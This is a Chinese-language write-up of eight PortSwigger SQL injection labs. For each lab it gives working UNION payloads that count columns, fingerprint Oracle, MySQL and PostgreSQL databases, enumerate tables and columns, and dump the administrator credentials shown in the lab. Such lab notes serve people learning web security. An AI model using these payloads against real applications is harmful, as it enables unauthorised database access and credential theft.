PortSwigger之SQL注入实验室笔记(一)

本文涉及的产品
云原生数据库 PolarDB MySQL 版,Serverless 5000PCU 100GB
简介: PortSwigger之SQL注入实验室笔记

声明

本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,我不承担任何法律及连带责任。

实验页面下面都有视频教程,很细 建议观看学习。笔记主要为记录过程,有错误的地方欢迎师傅们指正~

SQL注入

01 SQL 注入 UNION 攻击,查找包含文本的列

描述

该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。这种攻击的第一步是确定查询返回的列数。然后,您将在后续实验中使用此技术来构建完整的攻击。

要解决该实验,请通过执行SQL 注入 UNION攻击来确定查询返回的列数,该攻击会返回包含空值的附加行。

解决方案

  1. 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
  2. 修改category参数,赋予它值'+UNION+SELECT+NULL--。观察是否发生错误。
  3. 修改category参数以添加包含空值的附加列:'+UNION+SELECT+NULL,NULL--
  4. 继续添加空值,直到错误消失并且响应包括包含空值的附加内容。

'+ORDER+BY+3--

17a25f7ef4b91448612bdeb49fd70370_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731163649292

'+UNION+SELECT+NULL,NULL,NULL--

91c2ee46968a4e7fb55bb376c982c3d9_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731163552066

02 SQL 注入 UNION 攻击,查找包含文本的列

描述

该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。要构建这样的攻击,首先需要确定查询返回的列数。您可以使用在之前的实验室中学到的技术来完成此操作。下一步是确定与字符串数据兼容的列。

实验室将提供您需要在查询结果中显示的随机值。为了解决实验室问题,请执行SQL 注入 UNION攻击,该攻击会返回包含所提供值的附加行。此技术可帮助您确定哪些列与字符串数据兼容。

解决方案

  1. 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
  2. 确定查询返回的列数。使用category参数中的以下有效负载验证查询是否返回三列:'+UNION+SELECT+NULL,NULL,NULL--
  3. 尝试用实验室提供的随机值替换每个空值,例如:'+UNION+SELECT+'abcdef',NULL,NULL--
  4. 如果发生错误,请移至下一个空值并改为尝试。

任务:使数据库检索字符串:'X8VH6Z'

13fd56f739089c36ea28dc75a2c01ed2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731164553952

'+UNION+SELECT+NULL,NULL,'X8VH6Z'--

5a121f386bec770ca203b0f853ec1409_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731165006938

03 SQL注入UNION攻击,从其他表中检索数据

描述

该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。要构建这样的攻击,您需要结合您在之前实验室中学到的一些技术。

数据库包含一个名为 的不同表users,其列名为username和password。

为解决实验室问题,执行SQL 注入 UNION攻击,检索所有用户名和密码,并使用该信息以administrator用户身份登录。

解决方案

  1. Use Burp Suite to intercept and modify the request that sets the product category filter.
  2. 确定查询返回的列数以及哪些列包含文本数据。验证查询返回两列,它们都包含文字,使用像在类别参数以下的有效载荷:'+UNION+SELECT+'abc','def'--。
  3. 使用以下有效负载检索users表的内容:'+UNION+SELECT+username,+password+FROM+users--
  4. 验证应用程序的响应是否包含用户名和密码。

使用'+UNION+SELECT+username,password+FROM+users--获取用户名密码表,得到administrator/a2t6t7m3ybo5f7cz7fja

78a3e907d283d61981fdae02d3abc039_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731165512802

使用得到的用户名密码登录

4632568a18907be0fb7f052e071ed988_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731165741362

04 SQL 注入 UNION 攻击,在单列中检索多个值

描述

该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。

数据库包含一个名为 的不同表users,其列名为username和password。

为解决实验室问题,执行SQL 注入 UNION攻击,检索所有用户名和密码,并使用该信息以administrator用户身份登录。

解决方案

  1. 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
  2. 确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列,其中只有一列包含文本,在category参数中使用如下所示的有效负载:'+UNION+SELECT+NULL,'abc'--
  3. 使用以下有效负载检索users表的内容:'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
  4. 验证应用程序的响应是否包含用户名和密码。

'+order+by+2--判断列数为2

848cc62f4ade9ad9b32e5f995f15de18_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731171105351

'+union+select+null,'aaa'--判断回显字段是第二个

a2c49d5647bd15100599767a670a0844_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731171130566

'+union+select+null,username+||+'~'+||+password+FROM+users--读取密码

a621cdc43ec31799a468f4760df99d99_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731171242222

登录administrator~l32y00qu4gkslzqy9d0g

68c26cbb32bfc7a0d7995d41ec0e2b1c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731171430777

05 SQL注入攻击,在Oracle上查询数据库类型和版本

描述

该实验室在产品类别过滤器中包含一个SQL 注入漏洞。您可以使用 UNION 攻击从注入的查询中检索结果。

要解决实验室问题,请显示数据库版本字符串。

解决方案

  1. 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
  2. 确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列,这两列都包含文本,在category参数中使用如下所示的有效负载:'+UNION+SELECT+'abc','def'+FROM+dual--
  3. 使用以下有效负载显示数据库版本:'+UNION+SELECT+BANNER,+NULL+FROM+v$version--

'+ORDER+BY+2--判断列数为2

23c49db023f3baff9942da92c489e5d2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731171919099

union sql注入攻击中要做的第二件事是确定列的数据类型。我们使用union空查询来做到这一点,我们已经知道有两个列,我们要做的是将int值或字符串测试每一列

' UNION SELECT 'aa', NULL--

如果该列的数据类型不兼容对于使用过滤类别的列的数据类型,它应该抛出一个错误,告诉我们该列不是字符串类型。如果我们没有收到错误,这意味着该列现在是字符串类型。

在此实验环境中,我们可以看到两列都包含字母,所以他们都是字符串类型(还是要进一步测试确认)。

3ce08263f94b6af9e13d73c9d2b022ff_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801004438926

测试' UNION SELECT 'aa', 'aa'--

报错Internal Server Error

aa5b81ddee74379aef02ee8b90fee935_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801004727399

可以确定我们的操作是没有问题的,我们搜索一下oracle的select语句用法oracle select statement

Oracle select语句解释https://www.oracletutorial.com/oracle-basics/oracle-select/

oracle双表解释https://www.oracletutorial.com/oracle-basics/oracle-dual-table/

在 Oracle 中,SELECT语句必须有一个FROM子句。但是,某些查询不需要任何表

Oracle 为您提供了DUAL的一个特殊的表,它属于SYS用户的模式,但所有用户都可以访问。

所以我们为union select后加上from DUAL子句

' UNION SELECT 'aa', 'aa' FROM DUAL--

显示成功

7b89f08d6fa07057140f1254df2c1877_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801005142291

参阅我们的SQL 注入备忘单来找到Oracle数据库查询数据库版本的语句

SELECT banner FROM v$version
SELECT version FROM v$instance

所以我们的payload是

' UNION SELECT banner, 'aa' FROM v$instance--

6a185322f7066ae11cafc17dcd6c0f4f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801005711456

刷新页面会显示恭喜解决

3c7d474c423a89a5aefec2a5bdce224f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801005934960

06 SQL注入攻击,在MySQL和微软上查询数据库类型和版本

描述

该实验室在产品类别过滤器中包含一个SQL 注入漏洞。您可以使用 UNION 攻击从注入的查询中检索结果。

要解决实验室问题,请显示数据库版本字符串。

解决方案

  1. Use Burp Suite to intercept and modify the request that sets the product category filter.
  2. 确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列,这两列都包含文本,在category参数中使用如下所示的有效负载:'+UNION+SELECT+'abc','def'#
  3. 使用以下有效负载显示数据库版本:'+UNION+SELECT+@@version,+NULL#

同样的思路,先确定列数,通过网页显示内容可以猜测是2列

' ORDER BY 2--查询报错

3c30345eefdbd0d8c4d92ffafc561ce3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801011242670

我们的语法没有问题,这个服务器错误可能是对我们的某个符号进行了过滤,现在我们把--注释符修改为#进行测试,成功

' ORDER BY 2#查询成功

5a28af004bea2cf8f4b3f2f17d8c55af_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801011412205

' UNION SELECT 'AAA', 'BBB'#查询

35153633a40d14138bd9cc25dbabb1cf_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801011553835

现在我们需要使用SQL注入语句查询数据库版本,查阅我们的SQL 注入备忘单,找到一些有用的有效负载

SELECT @@version

' UNION SELECT @@version, 'BBB'#

fb5f65c3ecab1511e563f9dc2e948b11_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801011807924

成功解决

3084af6203d8dd534d041943bab86aac_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801011853470

07 SQL注入攻击,列出非Oracle数据库上的数据库内容

描述

该实验室在产品类别过滤器中包含一个SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。

该应用程序具有登录功能,数据库包含一个保存用户名和密码的表。您需要确定该表的名称及其包含的列,然后检索该表的内容以获取所有用户的用户名和密码。

要解决实验室,请以administrator用户身份登录。

解决方案

  1. 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
  2. 确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列,这两列都包含文本,在category参数中使用如下所示的有效负载:'+UNION+SELECT+'abc','def'--。
  3. 使用以下有效负载检索数据库中的表列表:'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
  4. 查找包含用户凭据的表的名称。
  5. 使用以下有效负载(替换表名)来检索表中列的详细信息:'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_abcdef'--
  6. 查找包含用户名和密码的列的名称。
  7. 使用以下有效负载(替换表名和列名)检索所有用户的用户名和密码:'+UNION+SELECT+username_abcdef,+password_abcdef+FROM+users_abcdef--
  8. 找到administrator用户的密码,并使用它登录。

1 确定列数

' ORDER BY 2--响应200

da8cef534922a2bc0de617588d618003_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801012224894

2 确定每列的字段数据类型

' UNION SELECT 'AA', 'CC'--

22f653004812c6f21fc6f99ee716b7df_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801012347821

3 查询数据库类型

在我们的SQL 注入备忘单上找到一些有用的有效负载用来判断数据库类型

您可以查询数据库以确定其类型和版本。在制定更复杂的攻击时,此信息很有用。

甲骨文 SELECT banner FROM v$versionSELECT version FROM v$instance
微软 SELECT @@version
PostgreSQL SELECT version()
MySQL SELECT @@version

' UNION SELECT banner, 'CC' FROM v$version--错误,说明不是Oracle

' UNION SELECT @@version, 'CC'--错误,说明不是MySQL和mssql

' UNION SELECT version(), 'CC'--成功,说明是PostgreSQL

38b429d1e94831f9e742548f74be7345_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801012655480

4 检索数据库中的表列表

在我们的SQL 注入备忘单上找到一些有用的有效负载

PostgreSQL SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'


Google搜索information_schema.tables PostgreSQL找到我们需要的列名

https://www.postgresql.org/docs/9.1/information-schema.html

选择columns查看所有的表目录、表架构、表名、列名等

05a9f060c2d5e24d7701780c2a3081d2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.pngimage-20210801015648239

786ae3a2bb96d2196674986ec6113372_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801015912597

我们需要的是表名,table_name

检索数据库中的表列表

' UNION SELECT table_name, 'CC' FROM information_schema.tables--查询数据库表名

463820f26cfddade4c8157592ff76ac3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801020239433

5 查找包含用户凭据的表的名称

我们找到users_随机字符的表users_nvjpgq,假设这是我们所需要的存放用户名密码的表

6 检索表中列的详细信息

现在我们需要输出表的列名

在我们的SQL 注入备忘单上找到一些有用的有效负载

SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

SELECT * FROM information_schema.columns WHERE table_name = 'users_nvjpgq'

使用Google搜索我们需要的列名字段information_schema.columns PostgreSQL,得到column_name

https://www.postgresql.org/docs/9.5/infoschema-columns.html

329aefcbda7bc5c0eaa7219585c1f1dd_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801020841687

检索表中列的详细信息

' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users_nvjpgq'

7 查找包含用户名和密码的列的名称

很明显,我们需要的列名应该是username_viaxls和password_senvzp

a88823dacec75227abddbc7334d3fd8c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801021056575

8 检索所有用户的用户名和密码

' UNION SELECT username_viaxls,password_senvzp FROM users_nvjpgq--查找用户名密码字段值

bd6073a6812bea5eac3e81b1a4648221_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801021505496

9 找到administrator用户的密码,并使用它登录

administrator/hiny5a8q5m62aqhoyze9

f4e634177a20ee8992c3f355a571cdcf_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801022127961

08 SQL注入攻击,在Oracle上列出数据库内容

描述

该实验室在产品类别过滤器中包含一个SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。

该应用程序具有登录功能,数据库包含一个保存用户名和密码的表。您需要确定该表的名称及其包含的列,然后检索该表的内容以获取所有用户的用户名和密码。

要解决实验室,请以administrator用户身份登录。

解决方案

和上一个实验类似,也是找数据库中的用户名密码,步骤是一样的。

1 确定列数2

' ORDER BY 2--

43b0182ecd72f59e83c1489906685d3b_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801022946506

2 确定每列的字段数据类型-字符型

' UNION SELECT 'AA','CC' FROM DUAL--

e10916dce63f5774cff1038da2b329c3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801023111143

3 查询数据库类型

' UNION SELECT banner,'CC' FROM v$version--

2356dda370ab98cc133713fa5ca6b296_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801023233073

4 检索数据库中的表列表

查找我们的SQL 注入备忘单,找到查询列出数据库中存在的表以及这些表包含的列语句

SELECT * FROM all_tables

Google搜索all_tables oracle,找到TABLE_NAME

https://docs.oracle.com/cd/B19306_01/server.102/b14237/statviews_2105.htm#REFRN20286

6498bd9918aaffae7d4b4e7a6346d9f2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801023526544

检索数据库中的表列表

' UNION SELECT TABLE_NAME, NULL FROM all_tables--

db7f4fe553507e454972fc9b155af83a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801024902377

5 查找包含用户凭据的表的名称

USERS_SOMDZN

6 检索表中列的详细信息

查找我们的SQL 注入备忘单,找到查询列出数据库中存在的表以及这些表包含的列语句

SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

Google搜索all_tab_columns,找到COLUMN_NAME

b5418e3a73b1e17e1bb40ae989d962ac_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801025138919

检索表中列的详细信息

' UNION SELECT COLUMN_NAME, NULL FROM all_tab_columns WHERE table_name = 'USERS_SOMDZN'--

7e173214820e0399b0bb2a8c9e8074ab_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801025301767

7 查找包含用户名和密码的列的名称

USERNAME_ETJAFO和PASSWORD_RRYQDL

8 检索所有用户的用户名和密码

' UNION SELECT USERNAME_ETJAFO, PASSWORD_RRYQDL FROM USERS_SOMDZN--

af03366dba268311fd733100f5952a4c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801025451647

9 找到administrator用户的密码,并使用它登录

administrator/7710s0z9vh37a81c1n23

0ce3d71ea32271c262fb720898e2ae90_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801025754289

相关实践学习
使用PolarDB和ECS搭建门户网站
本场景主要介绍基于PolarDB和ECS实现搭建门户网站。
阿里云数据库产品家族及特性
阿里云智能数据库产品团队一直致力于不断健全产品体系,提升产品性能,打磨产品功能,从而帮助客户实现更加极致的弹性能力、具备更强的扩展能力、并利用云设施进一步降低企业成本。以云原生+分布式为核心技术抓手,打造以自研的在线事务型(OLTP)数据库Polar DB和在线分析型(OLAP)数据库Analytic DB为代表的新一代企业级云原生数据库产品体系, 结合NoSQL数据库、数据库生态工具、云原生智能化数据库管控平台,为阿里巴巴经济体以及各个行业的企业客户和开发者提供从公共云到混合云再到私有云的完整解决方案,提供基于云基础设施进行数据从处理、到存储、再到计算与分析的一体化解决方案。本节课带你了解阿里云数据库产品家族及特性。
相关文章
|
1天前
|
SQL 存储 Java
如何避免SQL注入?
【4月更文挑战第30天】如何避免SQL注入?
6 0
|
1天前
|
SQL 安全 PHP
【PHP 开发专栏】PHP 防止 SQL 注入的方
【4月更文挑战第30天】本文介绍了PHP防止SQL注入的策略,包括理解SQL注入的原理和危害,如数据泄露和系统控制。推荐使用参数化查询(如PDO扩展)、过滤和验证用户输入,以及选择安全的框架和库(如Laravel)。此外,强调了保持警惕、定期更新维护和开发人员安全培训的重要性,以确保应用安全。
|
1天前
|
SQL 存储 安全
|
1天前
|
SQL Oracle 关系型数据库
常见 SQL 注入绕过方法
常见 SQL 注入绕过方法
|
1天前
|
SQL Oracle 关系型数据库
利用 SQL 注入提取数据方法总结
利用 SQL 注入提取数据方法总结
|
1天前
|
SQL 关系型数据库 MySQL
利用 SQL 注入识别数据库方法总结
利用 SQL 注入识别数据库方法总结
|
1天前
|
SQL Oracle Java
SQL 注入神器:jSQL Injection 保姆级教程
SQL 注入神器:jSQL Injection 保姆级教程
|
SQL 程序员 安全